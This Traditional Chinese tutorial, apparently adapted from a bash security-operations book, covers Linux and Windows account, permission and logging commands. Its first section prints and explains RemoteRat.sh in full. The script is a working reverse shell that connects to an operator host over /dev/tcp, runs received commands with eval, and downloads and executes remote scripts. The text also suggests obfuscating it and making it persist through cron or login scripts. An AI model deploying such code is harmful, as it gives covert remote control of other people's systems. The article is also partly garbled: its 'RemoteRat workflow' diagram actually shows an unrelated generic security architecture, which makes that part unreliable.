在現代網路環境中,遠端存取的需求日益增長,但伴隨而來的安全風險也不容忽視。本文將探討如何安全地進行遠端存取,並深入研究 Linux 和 Windows 系統的使用者、群組和檔案許可權管理,以確保系統的安全性。我們將分析一個簡單的遠端存取工具 RemoteRat.sh,瞭解其運作原理,並探討其潛在的安全風險和改進方向。同時,本文也將詳細介紹 Linux 和 Windows 系統中使用者和群組的建立、修改和刪除,以及如何使用 chmod、chown、setfacl、icacls 等指令設定檔案和目錄的許可權,包括 ACL 的操作。最後,我們將探討日誌記錄的重要性,並示範如何在不同系統中使用 eventcreate 和 logger 等指令進行日誌記錄。
使用 Bash 進行遠端存取的安全隱患與實務操作
在滲透測試的過程中,保持對目標系統的遠端存取是至關重要的一步。這使得測試人員能夠在需要時重新進入目標網路。一個好的遠端存取工具的關鍵在於保持隱蔽,因此在選擇方法時必須考慮到這一點。
遠端存取工具的實作:RemoteRat.sh
RemoteRat.sh 是一個簡單的遠端存取工具,主要功能是將輸入傳遞給殼層(shell),並在必要時下載並執行指令碼。以下是該指令碼的主要組成部分:
程式碼解析
#!/bin/bash -
# Cybersecurity Ops with bash
# RemoteRat.sh
# Description:
# Remote access tool to be run on the remote system;
# mostly hands any input to the shell
# but if indicated (with a !) fetch and run a script
# Usage: RemoteRat.sh hostname port1 [port2 [port3]]
function cleanup ()
{
rm -f $TMPFL
}
function runScript ()
{
# 通知遠端系統我們需要的指令碼名稱
echo "$1" > /dev/tcp/${HOMEHOST}/${HOMEPORT2}
# 暫停一下,等待回應
sleep 1
if [[ $1 == 'exit' ]] ; then exit ; fi
# 將指令碼內容儲存到暫存檔案
cat > $TMPFL </dev/tcp/${HOMEHOST}/${HOMEPORT3}
# 使用 bash 執行該指令碼
bash $TMPFL
}
#
---
-
---
-
---
-
---
---
- 主程式
---
-
---
-
---
-
---
-
---
# 可以在這裡加入一些錯誤檢查
HOMEHOST=$1
HOMEPORT=$2
HOMEPORT2=${3:-$((HOMEPORT+1))}
HOMEPORT3=${4:-$((HOMEPORT2+1))}
TMPFL="/tmp/$$.sh"
trap cleanup EXIT
# 連線回主機:
exec </dev/tcp/${HOMEHOST}/${HOMEPORT} 1>&0 2>&0
while true
do
echo -n '$ '
read -r
if [[ ${REPLY:0:1} == '!' ]]
then
# 如果輸入以 '!' 開頭,則下載並執行指令碼
FN=${REPLY:1}
runScript $FN
else
# 否則,直接執行輸入的命令
eval "$REPLY"
fi
done
#### 內容解密:
cleanup函式:負責在指令碼離開時刪除暫存檔案$TMPFL,確保不會留下敏感資訊。runScript函式:用於下載並執行遠端指令碼。首先,它將指令碼名稱傳送到攻擊者的系統,然後暫停一秒鐘,等待對方準備好。接著,它將接收到的指令碼內容儲存到暫存檔案,並使用bash執行該檔案。- 主程式邏輯:首先設定連線引數,包括主機名和多個埠號。然後,使用
exec指令將標準輸入、輸出和錯誤輸出重定向到 TCP 連線。進入無限迴圈後,指令碼不斷讀取使用者輸入,並根據輸入內容決定是執行本地命令還是下載並執行遠端指令碼。
安全隱患與改進建議
- 隱蔽性:該工具的隱蔽性取決於其執行的環境和組態。為了提高隱蔽性,可以考慮對指令碼進行混淆或加密處理。
- 安全性:直接使用
eval執行使用者輸入可能帶來安全風險,因為它可能導致任意命令執行。可以考慮使用更安全的替代方案,例如使用特定的命令白名單。 - 永續性:目前的實作不會在系統重啟後自動啟動。可以透過將啟動命令新增到登入指令碼或 cron 任務中來實作永續性。
RemoteRat.sh 工作流程圖示
@startuml
skinparam backgroundColor #FEFEFE
skinparam componentStyle rectangle
title 遠端存取安全與LinuxWindows許可權管理
package "安全架構" {
package "網路安全" {
component [防火牆] as firewall
component [WAF] as waf
component [DDoS 防護] as ddos
}
package "身份認證" {
component [OAuth 2.0] as oauth
component [JWT Token] as jwt
component [MFA] as mfa
}
package "資料安全" {
component [加密傳輸 TLS] as tls
component [資料加密] as encrypt
component [金鑰管理] as kms
}
package "監控審計" {
component [日誌收集] as log
component [威脅偵測] as threat
component [合規審計] as audit
}
}
firewall --> waf : 過濾流量
waf --> oauth : 驗證身份
oauth --> jwt : 簽發憑證
jwt --> tls : 加密傳輸
tls --> encrypt : 資料保護
log --> threat : 異常分析
threat --> audit : 報告生成
@enduml
此圖示說明瞭 RemoteRat.sh 的工作流程,包括建立連線、讀取使用者輸入、根據輸入型別執行相應操作等步驟。
隨著網路安全形勢的不斷演變,遠端存取工具需要不斷進化以滿足新的安全挑戰。未來,可以探索更多高階技術,如根據人工智慧的安全檢測和回應機制,以進一步提升遠端存取工具的能力和安全性。
使用者與群組管理及檔案許可權設定
在 Linux 和 Windows 系統中,使用者與群組的管理是系統安全管理的重要部分。正確地設定使用者與群組許可權,可以有效地控制系統資源的存取,確保系統的安全性。
Linux 中的使用者與群組管理
在 Linux 系統中,使用者與群組的管理主要透過以下指令進行:
- useradd:用於新增使用者。例如,
sudo useradd -m jsmith會建立一個新使用者 jsmith 並為其建立家目錄。 - passwd:用於設定使用者的密碼。例如,
sudo passwd jsmith會為使用者 jsmith 設定密碼。 - groupadd:用於新增群組。例如,
sudo groupadd accounting會建立一個名為 accounting 的新群組。 - usermod:用於修改使用者的設定,如將使用者加入特定群組。例如,
sudo usermod -g accounting jsmith將使用者 jsmith 的主要群組設為 accounting。
程式碼範例:
# 新增使用者 jsmith 並建立家目錄
sudo useradd -m jsmith
# 為使用者 jsmith 設定密碼
sudo passwd jsmith
# 新增 accounting 群組
sudo groupadd accounting
# 將 jsmith 加入 accounting 群組
sudo usermod -g accounting jsmith
內容解密:
sudo useradd -m jsmith:使用useradd指令新增使用者 jsmith,-m引數確保為該使用者建立家目錄。sudo passwd jsmith:使用passwd指令為 jsmith 設定密碼,系統會提示輸入新密碼。sudo groupadd accounting:使用groupadd指令建立一個名為 accounting 的新群組。sudo usermod -g accounting jsmith:使用usermod指令將 jsmith 的主要群組變更為 accounting。
Windows 中的使用者與群組管理
在 Windows 系統中,使用者與群組的管理主要透過 net 指令進行:
- net user:用於新增或修改使用者。例如,
net user jsmith /add會建立一個新使用者 jsmith。 - net localgroup:用於新增或修改本機群組。例如,
net localgroup accounting /add會建立一個名為 accounting 的新群組。
程式碼範例:
# 新增使用者 jsmith
net user jsmith /add
# 為 jsmith 設定密碼
net user jsmith somepasswd
# 新增 accounting 群組
net localgroup accounting /add
# 將 jsmith 加入 accounting 群組
net localgroup accounting jsmith /add
內容解密:
net user jsmith /add:使用net user指令新增使用者 jsmith,/add引數表示這是一個新增操作。net user jsmith somepasswd:為使用者 jsmith 設定密碼為 somepasswd。net localgroup accounting /add:使用net localgroup指令建立一個名為 accounting 的新群組。net localgroup accounting jsmith /add:將使用者 jsmith 加入 accounting 群組。
檔案許可權與存取控制列表(ACL)
無論是在 Linux 還是在 Windows 系統中,一旦建立了使用者和群組,就可以為他們分配許可權。這些許可權定義了使用者或群組在系統上可以執行的操作。
在 Linux 中,可以使用 chmod 修改檔案許可權,使用 setfacl 設定 ACL。
在 Windows 中,可以使用 icacls 設定 ACL。
程式碼範例(Linux):
# 修改檔案許可權
chmod 755 example.txt
# 設定 ACL
setfacl -m u:jsmith:rwx example.txt
程式碼範例(Windows):
# 設定 ACL
icacls example.txt /grant jsmith:F
內容解密:
chmod 755 example.txt:將example.txt的許可權設為所有者可讀寫執行,群組和其他人可讀執行。setfacl -m u:jsmith:rwx example.txt:為使用者 jsmith 對example.txt設定讀寫執行的 ACL。icacls example.txt /grant jsmith:F:授予使用者 jsmith 對example.txt的完全控制許可權。
綜上所述,無論是在 Linux 還是在 Windows 系統中,正確地管理使用者與群組,以及設定適當的檔案許可權和 ACL,都是保障系統安全的重要措施。
檔案許可權管理與日誌記錄
在維護系統安全性的過程中,建立和管理使用者與群組是一項重要的工作。適當的檔案許可權管理能夠有效防止未授權的存取,確保系統的穩定運作。
Linux 檔案許可權
Linux 的基本檔案許可權可以分配給使用者和群組。主要的三種許可權分別是讀取(r)、寫入(w)和執行(x)。使用 chown 命令可以變更檔案的所有者和群組。例如,將 report.txt 的所有者變更為 jsmith:
chown jsmith report.txt
將 report.txt 的群組所有者變更為 accounting:
chown :accounting report.txt
使用 chmod 命令可以設定檔案的許可權。例如,給予使用者讀取、寫入和執行的許可權,群組所有者讀取和寫入的許可權,其他使用者讀取和執行的許可權:
chmod u=rwx,g=rw,o=rx report.txt
內容解密:
u=rwx:給予使用者(user)讀取、寫入和執行的許可權。g=rw:給予群組(group)讀取和寫入的許可權。o=rx:給予其他使用者(other)讀取和執行的許可權。
也可以使用八進位數字來設定許可權,例如:
chmod 765 report.txt
這裡的 765 代表不同的許可權組合,每個數字對應到二進位的表示法,分別對應讀取、寫入和執行的許可權。
存取控制列表(ACL)
Linux 的存取控制列表(ACL)允許對個別使用者或群組設定特定的許可權。使用 setfacl 命令可以新增或移除 ACL 條目。例如,給予使用者 djones 對 report.txt 的讀取、寫入和執行許可權:
setfacl -m u:djones:rwx report.txt
內容解密:
-m選項表示要修改或新增 ACL 條目。u:djones:rwx表示給予使用者djones讀取、寫入和執行的許可權。
使用 getfacl 命令可以檢視檔案的 ACL 設定:
$ getfacl report.txt
# file: report.txt
# owner: fsmith
# group: accounting
user::rwx
user:djones:rwx
group::rw-
mask::rwx
other:r-x
移除 ACL 條目可以使用 -x 選項:
setfacl -x u:djones report.txt
Windows 檔案許可權
在 Windows 環境中,可以使用 icacls 命令來檢視和操作檔案或目錄的許可權和 ACL。例如,檢視 report.txt 的目前許可權:
$ icacls report.txt
report.txt NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
Successfully processed 1 files; Failed processing 0 files
給予使用者 jsmith 對 report.txt 的讀取和寫入許可權:
$ icacls report.txt /grant jsmith:rw
再次使用 icacls 命令可以驗證許可權是否正確設定:
$ icacls report.txt
report.txt COMPUTER\jsmith:(R,W)
NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
Successfully processed 1 files; Failed processing 0 files
大量變更
結合其他命令,可以進行更進階的操作。例如,使用 find 命令查詢目前工作目錄中所有由 jsmith 使用者擁有的檔案:
find . -type f -user jsmith
將這些檔案的所有者變更為 mwilson:
find . -type f -user jsmith -exec chown mwilson '{}' \;
查詢包含特定字詞(如 “secret”)的檔案,並將其許可權設定為只有所有者可以存取:
find . -type f -name '*secret*' -exec chmod 600 '{}' \;
日誌記錄
在撰寫指令碼時,記錄重要的事件至日誌系統是非常重要的。Windows 和 Linux 都提供了方便的機制來寫入日誌。
日誌記錄的最佳實踐
良好的日誌記錄應該具備以下特點:
- 使用一致的命名法和語法。
- 提供上下文訊息(包括誰、何時、何地)。
- 明確具體(指出發生了什麼事)。
eventcreate 和 logger 命令
eventcreate
在 Windows 環境中,使用 eventcreate 命令可以寫入事件日誌。常見的選項包括:
/d:事件的詳細描述。/id:事件 ID。/l:要寫入的日誌名稱。/so:事件來源。/t:事件型別。
例如:
eventcreate /id 100 /l APPLICATION /so MyApp /t INFORMATION /d "This is a test event."
logger
在 Linux 環境中,可以使用 logger 命令來寫入系統日誌。例如:
logger "This is a test message."
工作坊
- 編寫一個 Linux 命令來建立使用者
mwilson,並設定密碼為magic。 - 編寫一個 Linux 命令來建立群組
marketing。 - 編寫一個 Linux 命令來給予群組
marketing對檔案poster.jpg的讀取和寫入許可權。 - 編寫一個 Windows 命令來建立使用者
frogers,並設定密碼為neighborhood。 - 編寫一個 Windows 命令來給予使用者
tjones對檔案lyrics.txt的完整控制許可權。 - 編寫一個 bash 指令碼,可以根據執行的作業系統環境自動執行正確的使用者/群組/許可權命令。